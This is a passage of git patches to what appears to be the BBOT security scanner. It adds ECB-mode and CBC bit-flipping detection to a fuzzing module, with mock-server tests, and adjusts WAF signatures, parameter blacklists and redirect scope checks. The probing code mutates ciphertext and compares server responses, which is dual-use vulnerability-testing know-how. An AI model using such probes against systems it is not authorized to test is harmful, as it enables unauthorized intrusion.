in e.data["description"]: + if e.type == "FINDING" and "Known Secret Found." in e.data["description"]: assert "127.0.0.1" in e.data["url"], ( - f"VULNERABILITY url should contain the original host, got: {e.data['url']}" + f"FINDING url should contain the original host, got: {e.data['url']}" ) assert "web.archive.org" not in e.data["url"], ( - f"VULNERABILITY url should NOT be an archive.org URL, got: {e.data['url']}" + f"FINDING url should NOT be an archive.org URL, got: {e.data['url']}" ) # web.archive.org should NOT appear as a DNS_NAME event assert not any(e.type == "DNS_NAME" and e.data == "web.archive.org" for e in events), ( @@ -144,7 +144,7 @@ class TestWaybackHttpHttpsDedup(ModuleTestBase): module_name = "wayback" modules_overrides = ["wayback"] - whitelist = ["blacklanternsecurity.com"] + targets = ["blacklanternsecurity.com"] config_overrides = {"modules": {"wayback": {"urls": True}}} async def setup_after_prep(self, module_test): @@ -171,7 +171,7 @@ class TestWaybackHttpOnlyKept(ModuleTestBase): module_name = "wayback" modules_overrides = ["wayback"] - whitelist = ["blacklanternsecurity.com"] + targets = ["blacklanternsecurity.com"] config_overrides = {"modules": {"wayback": {"urls": True}}} async def setup_after_prep(self, module_test): @@ -196,7 +196,7 @@ class TestWaybackCdnCgiBlacklist(ModuleTestBase): module_name = "wayback" modules_overrides = ["wayback"] - whitelist = ["blacklanternsecurity.com"] + targets = ["blacklanternsecurity.com"] config_overrides = {"modules": {"wayback": {"urls": True}}} async def setup_after_prep(self, module_test): @@ -225,7 +225,7 @@ class TestWaybackArchiveHostField(ModuleTestBase): module_name = "wayback" modules_overrides = ["wayback", "excavate"] - whitelist = ["blacklanternsecurity.com", "127.0.0.1"] + targets = ["blacklanternsecurity.com", "127.0.0.1"] config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}} async def setup_after_prep(self, module_test): @@ -268,7 +268,7 @@ class TestWaybackArchiveHuntFinding(ModuleTestBase): module_name = "wayback" modules_overrides = ["wayback", "excavate", "hunt"] - whitelist = ["blacklanternsecurity.com", "127.0.0.1"] + targets = ["blacklanternsecurity.com", "127.0.0.1"] config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}} async def setup_after_prep(self, module_test): @@ -340,8 +340,8 @@ class TestWaybackLightfuzzXSS(ModuleTestBase): module_name = "wayback" targets = ["blacklanternsecurity.com"] - modules_overrides = ["wayback", "httpx", "lightfuzz", "excavate"] - whitelist = ["blacklanternsecurity.com", "127.0.0.1"] + modules_overrides = ["wayback", "http", "lightfuzz", "excavate"] + targets = ["blacklanternsecurity.com", "127.0.0.1"] config_overrides = { "interactsh_disable": True, "modules": { @@ -454,7 +454,7 @@ class TestWaybackArchiveBloomDedup(ModuleTestBase): module_name = "wayback" modules_overrides = ["wayback"] - whitelist = ["blacklanternsecurity.com", "127.0.0.1"] + targets = ["blacklanternsecurity.com", "127.0.0.1"] config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}} async def setup_after_prep(self, module_test): @@ -499,7 +499,7 @@ class TestWaybackArchiveRetry(ModuleTestBase): module_name = "wayback" modules_overrides = ["wayback"] - whitelist = ["blacklanternsecurity.com", "127.0.0.1"] + targets = ["blacklanternsecurity.com", "127.0.0.1"] config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}} async def setup_after_prep(self, module_test): @@ -531,7 +531,7 @@ class TestWaybackGarbageUrlFilter(ModuleTestBase): module_name = "wayback" modules_overrides = ["wayback"] - whitelist = ["blacklanternsecurity.com"] + targets = ["blacklanternsecurity.com"] config_overrides = {"modules": {"wayback": {"urls": True}}} async def setup_after_prep(self, module_test): @@ -539,7 +539,7 @@ async def setup_after_prep(self, module_test): repeating = "/themes/sites/example.com".lstrip("/") garbage_path = "/get-materials/" + "/".join([repeating] * 20) garbage_url = f"https://blacklanternsecurity.com{garbage_path}" - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[ ["original"], @@ -564,13 +564,13 @@ class TestWaybackGarbageUrlLength(ModuleTestBase): module_name = "wayback" modules_overrides = ["wayback"] - whitelist = ["blacklanternsecurity.com"] + targets = ["blacklanternsecurity.com"] config_overrides = {"modules": {"wayback": {"urls": True}}} async def setup_after_prep(self, module_test): # URL exceeding 2000 character limit long_url = "https://blacklanternsecurity.com/" + "a" * 2000 - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[ ["original"], @@ -595,7 +595,7 @@ class TestWaybackArchive429Retry(ModuleTestBase): module_name = "wayback" modules_overrides = ["wayback"] - whitelist = ["blacklanternsecurity.com", "127.0.0.1"] + targets = ["blacklanternsecurity.com", "127.0.0.1"] config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}} async def setup_after_prep(self, module_test): @@ -603,18 +603,18 @@ async def setup_after_prep(self, module_test): module_test.scan.modules["wayback"]._archive_429_default_delay = 0.01 module_test.scan.modules["wayback"]._archive_error_delay = 0.01 module_test.scan.modules["wayback"]._archive_delay = 0 - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[["original"], ["http://127.0.0.1:1/rate-limited-page"]], ) # first attempt: 429 rate limited - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="http://web.archive.org/web/http://127.0.0.1:1/rate-limited-page", status_code=429, headers={"Retry-After": "1"}, ) # retry after backoff: 200 - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="http://web.archive.org/web/http://127.0.0.1:1/rate-limited-page", text="<html><body>content after rate limit</body></html>", headers={"Content-Type": "text/html"}, From 50a079cbc2671e8289089f5b5dcb7b7d116ee8d9 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Sat, 14 Mar 2026 18:58:05 -0400 Subject: [PATCH 473/912] Add ECB mode detection and CBC bit-flipping detection to crypto submodule - detect_ecb(): passive repeated-block analysis, zero HTTP requests - cbc_bitflip(): active test mutating penultimate block positions, 2 HTTP requests - Fix modify_string() treating position=0 as falsy --- bbot/modules/lightfuzz/submodules/crypto.py | 101 ++++++- .../module_tests/test_module_lightfuzz.py | 278 ++++++++++++++++++ 2 files changed, 377 insertions(+), 2 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index b91069a736..06dfb7ca09 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -26,6 +26,12 @@ class crypto(BaseLightfuzz): * Padding Oracle Vulnerabilities: - Identifies the presence of cryptographic oracles that could be exploited to arbitrary decrypt or encrypt data for the parameter value. + * ECB Mode Detection: + - Passively detects ECB mode encryption by checking for repeated ciphertext blocks in parameter values (zero HTTP requests). + + * CBC Bit-Flipping Detection: + - Actively tests whether mutating different byte positions in the penultimate ciphertext block produces distinguishable server responses, + indicating CBC mode without integrity protection (2 HTTP requests). """ @@ -174,7 +180,7 @@ def modify_string(input_string, action="truncate", position=None, extension_leng if action == "truncate": modified_data = data[:-1] # Remove the last byte elif action == "mutate": - if not position: + if position is None: position = len(data) // 2 if position < 0 or position >= len(data): raise ValueError("Position out of range") @@ -184,7 +190,7 @@ def modify_string(input_string, action="truncate", position=None, extension_leng elif action == "extend": modified_data = data + (b"\x00" * extension_length) elif action == "flip": - if not position: + if position is None: position = len(data) // 2 if position < 0 or position >= len(data): raise ValueError("Position out of range") @@ -222,6 +228,90 @@ def possible_block_sizes(ciphertext_length): possible_sizes.append(block_size) return possible_sizes + def detect_ecb(self, probe_value): + """ + Passively detect ECB mode encryption by checking for repeated ciphertext blocks. + ECB encrypts each block independently, so identical plaintext blocks produce identical + ciphertext blocks. Zero HTTP requests required. + """ + data, encoding = self.format_agnostic_decode(probe_value) + if encoding == "unknown": + return + for block_size in self.possible_block_sizes(len(data)): + blocks = [data[i : i + block_size] for i in range(0, len(data), block_size)] + if len(blocks) != len(set(blocks)): + context = f"Lightfuzz Cryptographic Probe Submodule detected ECB mode encryption in parameter: [{self.event.data['name']}]" + self.results.append( + { + "severity": "MEDIUM", + "name": "ECB Mode Encryption Detected", + "confidence": "MEDIUM", + "description": f"ECB Mode Encryption Detected. Block size: [{block_size}] {self.metadata()}", + "context": context, + } + ) + return # Report first matching block size only + + async def cbc_bitflip(self, probe_value, cookies): + """ + Detect CBC bit-flipping vulnerability by mutating different byte positions in the + penultimate ciphertext block. In CBC mode, modifying byte N of block K affects byte N + of the decrypted block K+1. If the server produces distinguishable responses for + different mutation positions, it indicates CBC without integrity protection. + Cost: 2 HTTP requests. + """ + data, encoding = self.format_agnostic_decode(probe_value) + if encoding == "unknown": + return + for block_size in self.possible_block_sizes(len(data)): + num_blocks = len(data) // block_size + if num_blocks < 2: + continue + penultimate_start = (num_blocks - 2) * block_size + # Mutate first byte of penultimate block + try: + probe_a = self.modify_string(probe_value, action="mutate", position=penultimate_start) + except ValueError: + continue + # Mutate middle byte of penultimate block + try: + probe_b = self.modify_string( + probe_value, action="mutate", position=penultimate_start + block_size // 2 + ) + except ValueError: + continue + # Use probe_a as the baseline, compare probe_b against it + http_compare = self.compare_baseline(self.event.data["type"], probe_a, cookies) + try: + result = await self.compare_probe(http_compare, self.event.data["type"], probe_b, cookies) + except HttpCompareError as e: + self.verbose(f"Encountered HttpCompareError during CBC bit-flip test: {e}") + continue + if result[0] is False and "body" in result[1]: + # Strip reflected probe values to avoid false positives + stripped_baseline = http_compare.baseline.text + stripped_probe = result[3].text + for encoded_a, encoded_b in [ + (probe_a, probe_b), + (probe_a.replace("+", " "), probe_b.replace("+", " ")), + (quote(probe_a), quote(probe_b)), + ]: + stripped_baseline = stripped_baseline.replace(encoded_a, "") + stripped_probe = stripped_probe.replace(encoded_b, "") + if stripped_baseline == stripped_probe: + continue + context = f"Lightfuzz Cryptographic Probe Submodule detected probable CBC bit-flipping in parameter: [{self.event.data['name']}]" + self.results.append( + { + "severity": "MEDIUM", + "name": "CBC Bit-Flipping Detected", + "confidence": "MEDIUM", + "description": f"CBC Bit-Flipping Detected. Block size: [{block_size}] {self.metadata()}", + "context": context, + } + ) + return # Report first matching block size only + async def padding_oracle_execute(self, original_data, encoding, block_size, cookies, possible_first_byte=True): """ Execute the padding oracle attack for a given block size. @@ -428,6 +518,10 @@ async def fuzz(self): self.debug("Parameter value does not appear to be cryptographic, aborting tests") return + # ECB Mode Detection (passive, zero HTTP requests) + if possible_block_cipher: + self.detect_ecb(probe_value) + # Cryptographic Response Divergence Test http_compare = self.compare_baseline(self.event.data["type"], probe_value, cookies) @@ -488,6 +582,9 @@ async def fuzz(self): ) await self.padding_oracle(probe_value, cookies) + # CBC Bit-Flipping Test + await self.cbc_bitflip(probe_value, cookies) + # Hash identification / Potential Length extension attack data, encoding = crypto.format_agnostic_decode(probe_value) # see if its possible that a given value is a hash, and if so, which one diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 9e0fa18d37..dbae78e822 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -2338,6 +2338,284 @@ class Test_Lightfuzz_envelope_isolation_paddingoracle_reflecting(Test_Lightfuzz_ } +# ECB Mode Detection: ciphertext with repeated 16-byte blocks (A+B+A+B pattern) +class Test_Lightfuzz_ECBDetection(ModuleTestBase): + targets = ["http://127.0.0.1:8888/"] + modules_overrides = ["httpx", "excavate", "lightfuzz"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": {"enabled_submodules": ["crypto"]}, + }, + } + + # Two 16-byte blocks with non-overlapping byte values (high entropy), repeated A+B+A+B + _block_a = bytes(range(16)).hex() # 000102...0f + _block_b = bytes(range(128, 144)).hex() # 808182...8f + ecb_ciphertext_hex = _block_a + _block_b + _block_a + _block_b + + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = f""" + <section> + <form action=/ method=GET> + <input type=text value='{self.ecb_ciphertext_hex}' name=token> + <button type=submit>Submit</button> + </form> + </section> + """ + if "token=" in qs: + return Response("OK", status=200) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + ecb_detected = False + for e in events: + if e.type == "FINDING": + if "ECB Mode Encryption Detected" in e.data["description"]: + ecb_detected = True + assert ecb_detected, "ECB Mode Encryption FINDING not emitted" + + +# ECB Negative: all unique blocks, should NOT detect ECB +class Test_Lightfuzz_ECBDetection_Negative(ModuleTestBase): + targets = ["http://127.0.0.1:8888/"] + modules_overrides = ["httpx", "excavate", "lightfuzz"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": {"enabled_submodules": ["crypto"]}, + }, + } + + # 4 unique 16-byte blocks with non-overlapping byte values (high entropy, no repeats) + unique_ciphertext_hex = ( + bytes(range(0, 16)).hex() + + bytes(range(64, 80)).hex() + + bytes(range(128, 144)).hex() + + bytes(range(192, 208)).hex() + ) + + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = f""" + <section> + <form action=/ method=GET> + <input type=text value='{self.unique_ciphertext_hex}' name=token> + <button type=submit>Submit</button> + </form> + </section> + """ + if "token=" in qs: + return Response("OK", status=200) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + for e in events: + if e.type == "FINDING": + assert "ECB Mode Encryption Detected" not in e.data["description"], ( + "ECB falsely detected on unique blocks" + ) + + +# CBC Bit-Flipping Detection: server returns different responses for different byte-position mutations +class Test_Lightfuzz_CBCBitflipDetection(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["httpx", "excavate", "lightfuzz"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": {"enabled_submodules": ["crypto"]}, + }, + } + + # 3 blocks of 16 bytes = 48 bytes, base64-encoded + original_b64 = base64.b64encode(bytes(range(48))).decode() + + def request_handler(self, request): + encrypted_value = quote(self.original_b64) + default_html = f""" + <html><body> + <form action="/process" method="post"> + <input type="hidden" name="cipher" value="{encrypted_value}" /> + <button type="submit">Process</button> + </form> + </body></html> + """ + if "/process" in request.url and request.method == "POST": + if request.form and request.form.get("cipher"): + cipher_val = request.form["cipher"] + try: + raw = base64.b64decode(cipher_val) + except Exception: + return Response("Invalid input", status=200) + # Penultimate block starts at byte 16 + # Check which byte in the penultimate block differs from original + original_raw = bytes(range(48)) + if len(raw) == len(original_raw): + penultimate_start = 16 + for i in range(penultimate_start, penultimate_start + 16): + if raw[i] != original_raw[i]: + # First byte (pos 16) vs middle byte (pos 24) produce different responses + if i < penultimate_start + 8: + return Response("Decryption result: type A", status=200) + else: + return Response("Decryption result: type B", status=200) + return Response("Decryption failed", status=200) + return Response("Decryption failed", status=200) + return Response(default_html, status=200) + + async def setup_after_prep(self, module_test): + module_test.set_expect_requests_handler(expect_args=re.compile(".*"), request_handler=self.request_handler) + + def check(self, module_test, events): + cbc_bitflip_detected = False + for e in events: + if e.type == "FINDING": + if "CBC Bit-Flipping Detected" in e.data["description"]: + cbc_bitflip_detected = True + assert cbc_bitflip_detected, "CBC Bit-Flipping Detected FINDING not emitted" + + +# CBC Bit-Flipping Negative: server returns identical response regardless of mutation position +class Test_Lightfuzz_CBCBitflipDetection_Negative(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["httpx", "excavate", "lightfuzz"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": {"enabled_submodules": ["crypto"]}, + }, + } + + original_b64 = base64.b64encode(bytes(range(48))).decode() + + def request_handler(self, request): + encrypted_value = quote(self.original_b64) + default_html = f""" + <html><body> + <form action="/process" method="post"> + <input type="hidden" name="cipher" value="{encrypted_value}" /> + <button type="submit">Process</button> + </form> + </body></html> + """ + if "/process" in request.url and request.method == "POST": + return Response("Decryption failed", status=200) + return Response(default_html, status=200) + + async def setup_after_prep(self, module_test): + module_test.set_expect_requests_handler(expect_args=re.compile(".*"), request_handler=self.request_handler) + + def check(self, module_test, events): + for e in events: + if e.type == "FINDING": + assert "CBC Bit-Flipping Detected" not in e.data["description"], ( + "CBC Bit-Flipping falsely detected on identical responses" + ) + + +# CBC Bit-Flipping without Padding Oracle: server never fails decryption (OPENSSL_ZERO_PADDING equivalent). +# Every input produces a unique response derived from the submitted value — no padding validity leaked. +# Padding oracle sends ~254 probes that all get unique responses → differ_count >> block_size → not detected. +# CBC bit-flip probes still produce different responses → detected. +class Test_Lightfuzz_CBCBitflipDetection_NoPaddingOracle(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["httpx", "excavate", "lightfuzz"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": {"enabled_submodules": ["crypto"]}, + }, + } + + # 3 blocks of 16 bytes = 48 bytes, base64-encoded + original_b64 = base64.b64encode(bytes(range(48))).decode() + + def request_handler(self, request): + encrypted_value = quote(self.original_b64) + default_html = f""" + <html><body> + <form action="/process" method="post"> + <input type="hidden" name="cipher" value="{encrypted_value}" /> + <button type="submit">Process</button> + </form> + </body></html> + """ + if "/process" in request.url and request.method == "POST": + if request.form and request.form.get("cipher"): + cipher_val = request.form["cipher"] + # No error paths — always return content derived from input. + # Simulates OPENSSL_ZERO_PADDING: decryption never fails. + import hashlib + + digest = hashlib.md5(cipher_val.encode()).hexdigest() + return Response(f"Session loaded: {digest}", status=200) + return Response("Session loaded: default", status=200) + return Response(default_html, status=200) + + async def setup_after_prep(self, module_test): + module_test.set_expect_requests_handler(expect_args=re.compile(".*"), request_handler=self.request_handler) + + def check(self, module_test, events): + cbc_bitflip_detected = False + padding_oracle_detected = False + for e in events: + if e.type == "FINDING": + if "CBC Bit-Flipping Detected" in e.data["description"]: + cbc_bitflip_detected = True + if "Padding Oracle Vulnerability" in e.data["description"]: + padding_oracle_detected = True + assert cbc_bitflip_detected, "CBC Bit-Flipping should be detected even without padding oracle" + assert not padding_oracle_detected, "Padding Oracle should NOT be detected when decryption never fails" + + +# Envelope state isolation: ECB detection with all submodules enabled +class Test_Lightfuzz_envelope_isolation_ecb(Test_Lightfuzz_ECBDetection): + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": { + "enabled_submodules": ["sqli", "cmdi", "xss", "path", "ssti", "crypto", "serial", "esi"], + } + }, + } + + +# Envelope state isolation: CBC bit-flip detection with all submodules enabled +class Test_Lightfuzz_envelope_isolation_cbc_bitflip(Test_Lightfuzz_CBCBitflipDetection): + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": { + "enabled_submodules": ["sqli", "cmdi", "xss", "path", "ssti", "crypto", "serial", "esi"], + } + }, + } + + +# Envelope state isolation: CBC bit-flip without padding oracle, all submodules enabled +class Test_Lightfuzz_envelope_isolation_cbc_bitflip_no_po(Test_Lightfuzz_CBCBitflipDetection_NoPaddingOracle): + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": { + "enabled_submodules": ["sqli", "cmdi", "xss", "path", "ssti", "crypto", "serial", "esi"], + } + }, + } + + # Test filter_event method with WAF tags class Test_Lightfuzz_filter_event(ModuleTestBase): targets = ["http://127.0.0.1:8888"] From cd381f85ea0073b09bbb4551b568c678153c589d Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Sun, 15 Mar 2026 12:34:57 -0400 Subject: [PATCH 474/912] Reduce lightfuzz false positives: centralize WAF detection, blacklist CSRF tokens, remove generic error string - Add get_waf_strings() helper to misc.py with 7 common WAF signatures - Use centralized WAF list in path.py and serial.py instead of hardcoded strings - Blacklist CSRF tokens and ASP.NET session cookies in defaults.yml - Remove overly generic "access denied" from crypto error strings --- bbot/core/helpers/misc.py | 23 +++++++++++++++++++ bbot/defaults.yml | 10 ++++++++ bbot/modules/lightfuzz/submodules/crypto.py | 1 - bbot/modules/lightfuzz/submodules/path.py | 5 +++- bbot/modules/lightfuzz/submodules/serial.py | 4 ++-- .../module_tests/test_module_lightfuzz.py | 2 +- 6 files changed, 40 insertions(+), 5 deletions(-) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index eb2e322bac..37d39abdd8 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -2694,6 +2694,29 @@ def get_waf_strings(): ] +def get_waf_strings(): + """ + Returns a list of common WAF (Web Application Firewall) detection strings. + + Returns: + list: List of WAF detection strings + + Examples: + >>> waf_strings = get_waf_strings() + >>> "The requested URL was rejected" in waf_strings + True + """ + return [ + "The requested URL was rejected", + "This content has been blocked", + "You don't have permission to access ", + "The URL you requested has been blocked", + "Request unsuccessful. Incapsula incident", + "Access Denied - Sucuri Website Firewall", + "Attention Required! | Cloudflare", + ] + + def clean_dns_record(record): """ Cleans and formats a given DNS record for further processing. diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 3856a1f644..e0f27de6fc 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -262,6 +262,16 @@ parameter_blacklist: - PHPSESSID - __cf_bm - f5_cspm + # CSRF / Anti-Forgery tokens + - authenticity_token + - csrfmiddlewaretoken + - __RequestVerificationToken + - antiforgerytoken + - __csrf_magic + - _wpnonce + # ASP.NET session/identity cookies + - .ASPXANONYMOUS + - .ASPXAUTH parameter_blacklist_prefixes: - TS01 diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 06dfb7ca09..077d283743 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -69,7 +69,6 @@ def is_base64(s): "key does not exist", "the parameter is incorrect", "cryptography exception", - "access denied", "unknown error", "invalid provider type", "no valid cert found", diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index eb866eac8f..2fabc16ce0 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -113,7 +113,10 @@ async def fuzz(self): and doubledot_probe[0] is False and doubledot_probe[3] is not None and doubledot_probe[1] != ["header"] - and "The requested URL was rejected" not in doubledot_probe[3].text + and not any( + waf_string in doubledot_probe[3].text + for waf_string in self.lightfuzz.helpers.get_waf_strings() + ) ): confirmations += 1 self.verbose(f"Got possible Path Traversal detection: [{str(confirmations)}] Confirmations") diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 508fe98ab9..b019b1bfb3 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -1,5 +1,6 @@ from .base import BaseLightfuzz from bbot.errors import HttpCompareError +from bbot.core.helpers.misc import get_waf_strings class serial(BaseLightfuzz): @@ -50,8 +51,7 @@ class serial(BaseLightfuzz): GENERAL_ERRORS = [ "Internal Error", "Internal Server Error", - "The requested URL was rejected", - ] + ] + get_waf_strings() def is_possibly_serialized(self, value): # Use the is_base64 method from BaseLightfuzz via self diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index dbae78e822..bf38e6edb2 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1687,7 +1687,7 @@ def request_handler(self, request): """ crypto_block = """ <section class=blog-header> - <h1>Access Denied!</h1> + <h1>Padding is invalid</h1> <hr> </section> """ From 2563c76d4d4c63aa37112ce28224a5282cc4be69 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 16 Mar 2026 19:25:11 -0400 Subject: [PATCH 475/912] Skip parameter extraction from out-of-scope redirect targets --- bbot/modules/internal/excavate.py | 50 +++++++++++-------- .../module_tests/test_module_excavate.py | 34 +++++++++++++ 2 files changed, 64 insertions(+), 20 deletions(-) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 7f8c559471..1d504e3486 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -1250,26 +1250,36 @@ async def handle_event(self, event, **kwargs): # Try to extract parameters from the redirect URL if self.parameter_extraction: - for ( - method, - parsed_url, - parameter_name, - original_value, - regex_name, - additional_params, - ) in extract_params_location(header_value, event.parsed_url): - if self.in_bl(parameter_name) is False: - await self.emit_web_parameter( - host=parsed_url.hostname, - param_type="GETPARAM", - name=parameter_name, - original_value=original_value, - url=self.url_unparse("GETPARAM", parsed_url), - description=f"HTTP Extracted Parameter [{parameter_name}] (Location Header)", - additional_params=additional_params, - event=event, - context=f"Excavate parsed a location header for parameters and found [GETPARAM] Parameter Name: [{parameter_name}] and emitted a WEB_PARAMETER for it", - ) + # Don't extract parameters from out-of-scope redirects — + # they would inherit in-scope status from the parent event + # and cause lightfuzz to fuzz external endpoints + redirect_parsed = urlparse(redirect_location) + redirect_host = redirect_parsed.hostname + if redirect_host and not self.scan.in_scope(redirect_host): + self.debug( + f"Skipping parameter extraction from out-of-scope redirect to {redirect_host}" + ) + else: + for ( + method, + parsed_url, + parameter_name, + original_value, + regex_name, + additional_params, + ) in extract_params_location(header_value, event.parsed_url): + if self.in_bl(parameter_name) is False: + await self.emit_web_parameter( + host=parsed_url.hostname, + param_type="GETPARAM", + name=parameter_name, + original_value=original_value, + url=self.url_unparse("GETPARAM", parsed_url), + description=f"HTTP Extracted Parameter [{parameter_name}] (Location Header)", + additional_params=additional_params, + event=event, + context=f"Excavate parsed a location header for parameters and found [GETPARAM] Parameter Name: [{parameter_name}] and emitted a WEB_PARAMETER for it", + ) else: self.warning("location header found but missing redirect_location in HTTP_RESPONSE") if header.lower() == "content-type": diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 6d56911723..cac9cc9040 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1570,3 +1570,37 @@ def check(self, module_test, events): e for e in events if e.type == "FINDING" and "ftp://ftp.test.notreal" in e.data.get("description", "") ] assert len(ftp_findings) == 0, f"PDF body should not produce findings, but got: {ftp_findings}" + + +class TestExcavateRedirectParameterScope(ModuleTestBase): + """Verify that parameter extraction is skipped for out-of-scope redirect targets. + + When an in-scope HTTP response has a Location header pointing to an external + out-of-scope domain, the redirect URL's query parameters should NOT be emitted + as WEB_PARAMETER events, because they would inherit the in-scope parent's scope + distance and cause lightfuzz to fuzz external endpoints. + """ + + targets = ["http://127.0.0.1:8888/"] + modules_overrides = ["httpx", "excavate", "hunt"] + + async def setup_before_prep(self, module_test): + module_test.httpserver.expect_request("/").respond_with_data( + "", + status=302, + headers={"Location": "https://login.microsoftonline.com/oauth2/authorize?state=abc123&client_id=test456"}, + ) + + def check(self, module_test, events): + # The redirect URL itself should be emitted as URL_UNVERIFIED (that's correct behavior) + assert any(e.type == "URL_UNVERIFIED" and "login.microsoftonline.com" in e.data for e in events), ( + "Redirect URL_UNVERIFIED should still be emitted" + ) + + # But NO WEB_PARAMETER events should be emitted for the out-of-scope redirect's parameters + redirect_params = [ + e for e in events if e.type == "WEB_PARAMETER" and "login.microsoftonline.com" in e.data.get("url", "") + ] + assert len(redirect_params) == 0, ( + f"Out-of-scope redirect parameters should not be extracted, but got: {redirect_params}" + ) From 749a695decd263d24a733b511303c4e51be760d4 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 18 Mar 2026 10:03:14 -0400 Subject: [PATCH 476/912] Fix lightfuzz false positives: crypto jitter stability, XSS context verification, SQLi WAF detection - Add endpoint stability pre-check to padding oracle and CBC bitflip tests - Verify XSS probe matches appear in the correct HTML context - Suppress SQLi findings when single-quote probe triggers WAF 403 - Blacklist PKCE and Akamai Bot Manager parameters --- bbot/defaults.yml | 8 + bbot/modules/lightfuzz/submodules/crypto.py | 33 ++++ bbot/modules/lightfuzz/submodules/sqli.py | 35 +++- bbot/modules/lightfuzz/submodules/xss.py | 63 +++++-- .../module_tests/test_module_lightfuzz.py | 161 ++++++++++++++++++ 5 files changed, 281 insertions(+), 19 deletions(-) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index e0f27de6fc..c04b3f2549 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -272,6 +272,14 @@ parameter_blacklist: # ASP.NET session/identity cookies - .ASPXANONYMOUS - .ASPXAUTH + # PKCE (Proof Key for Code Exchange) + - code_verifier + - code_challenge + # Akamai Bot Manager + - _abck + - bm_sz + - bm_sv + - ak_bmsc parameter_blacklist_prefixes: 